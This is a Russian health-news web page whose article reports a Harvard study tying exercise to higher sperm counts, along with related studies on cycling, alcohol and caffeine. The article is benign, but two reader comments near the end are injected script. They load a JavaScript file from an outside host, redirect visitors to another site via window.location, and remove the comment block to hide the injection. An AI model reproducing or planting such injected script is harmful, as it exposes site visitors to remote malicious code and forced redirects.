Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Ученые выяснили, какое дв...  >>  Ученые выяснили, какое движение сделает вашего мужчину жеребцом
 
Обратная связь
 

Ученые выяснили, какое движение сделает вашего мужчину жеребцом

Размер шрифта
27 декабря 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Ученые обнаружили, что регулярные физические упражнения увеличивают количество сперматозоидов и повышают шансы пары на успешное зачатие.

Ученные выяснили, какое движение сделает вашего мужчину жеребцом

Выборочную совокупность исследования составили мужчины, которые проходили лечение в Центре репродукции Главной клиники Массачусетса (США) в период с 2006 по 2012 годы. В общем и целом, 137 мужчин предоставили образцы своей спермы и ответили на ряд вопросов специализированной анкеты, подведя итог, ученые пришли к вполне закономерным выводам.

«У мужчин, которые занимаются спортом не менее часа в день, концентрация сперматозоидов в среднем на 48% выше, чем у тех, кто игнорирует физические нагрузки», – утверждает Одри Гаскинс, один авторов исследования, докторант Гарвардского университета.

Эта цифра касается легкоатлетических вариантов спорта, выполняемых на свежем воздухе. В этом случае одним из факторов, способствующих улучшению количественного состава спермы, может являться повышенная продукция витамина D под действием солнечных лучей. Благотворное влияние этого витамина на функцию мужской репродуктивной системы давно доказано. Касательно пауэрлифтинга и тяжелой атлетики также были получены обнадеживающие результаты. Выяснилось, что количество сперматозоидов у любителей потягать железо (два часа в неделю или более) на 25% больше, чем у тех, кто со штангой не дружит.

«Пауэрлифтинг, по всей видимости, повышает уровень тестостерона и позитивно влияет на чувствительность тканей к инсулину», – говорит Гаскинс. «И то, и другое способствует здоровому сперматогенезу».

Впрочем, не все виды спорта полезны для ваших яичек. Велосипед, быть может, и накачает ваши четырехглавые мышцы, но сперматозоиды явно будут не в восторге от перманентного трения сиденья о чуткую ткань мошонки. В данном гарвардском исследования, в частности, выявилось, что у любителей покрутить педали в течение более чем полутора часов в неделю концентрация спермы на 34% меньше, чем у среднестатистического человека.

Исследователи не смогли выявить достоверных различий в качественных характеристиках спермы в группах, отличающихся по спортивной нагрузке.

Другой пробел, не заполненный бостонскими учеными, – характер связи между этими феноменами. Является ли она причинно-следственной – это большой вопрос.

Интересно, что в двух параллельных исследованиях также изучалась мужская репродуктивная функция, а точнее – влияние на нее со стороны других важных повседневных факторов – алкоголя и кофеина.

В первом исследовании участвовали 166 мужчин с диагностированным бесплодием, и при этом никакой связи между потреблением вышеупомянутых напитков и количеством сперматозоидов обнаружено не было.

Вторая работа, помимо прочего, акцентировала внимание на качественном составе спермы. Ученые проанализировали более четырех тысяч образцов спермы, в том числе провели ряд генетических тестов с целью выявления повреждений ДНК, индуцируемых кофеином.

Выяснилось, что в целом влияние кофе на состав спермы несущественно.

Однако с учетом того, что существует немалое количество научных статей, в которых утверждается обратное, эти результаты не стоит воспринимать как незыблемые до окончательной верификации в крупных рандомизированных исследованиях.

Впрочем, некоторые выводы мы сделать вполне можем. Не утомляйте свои большие ягодичные мышцы долгим соприкосновением с поверхностью стула. Двигайтесь! Это самым позитивным образом скажется на вашей репродуктивной функции.

Другие материалы о мужском здоровье ищите на страницах нашего специального проекта «Секс с мужчиной».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:49

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 22:48

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Куда отправить мужа, если он мешает вам спать?   Муж не может долго заниматься сексом? Всего одна вещь решит вашу проблему!   Почему никто не смотрит женский футбол?   Сможет ли наша сборная выиграть чемпионат мира?  
26 января 2011Почему в старости спорт бесполезен 15 мая 2013Ура! Ходить по лестнице так же эффективно для похудения, как ходить в спортивный зал!
 
04 апреля 2013Когда делать зарядку, чтобы худеть быстрее 01 ноября 2013ИНВИТРО – «Марка №1» в России
 

Слайдшоу

1
Какие ошибки не дадут вам похудеть в Новом году
Что нельзя делать перед сном
Что скрывает боль в спине. Часть 1

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.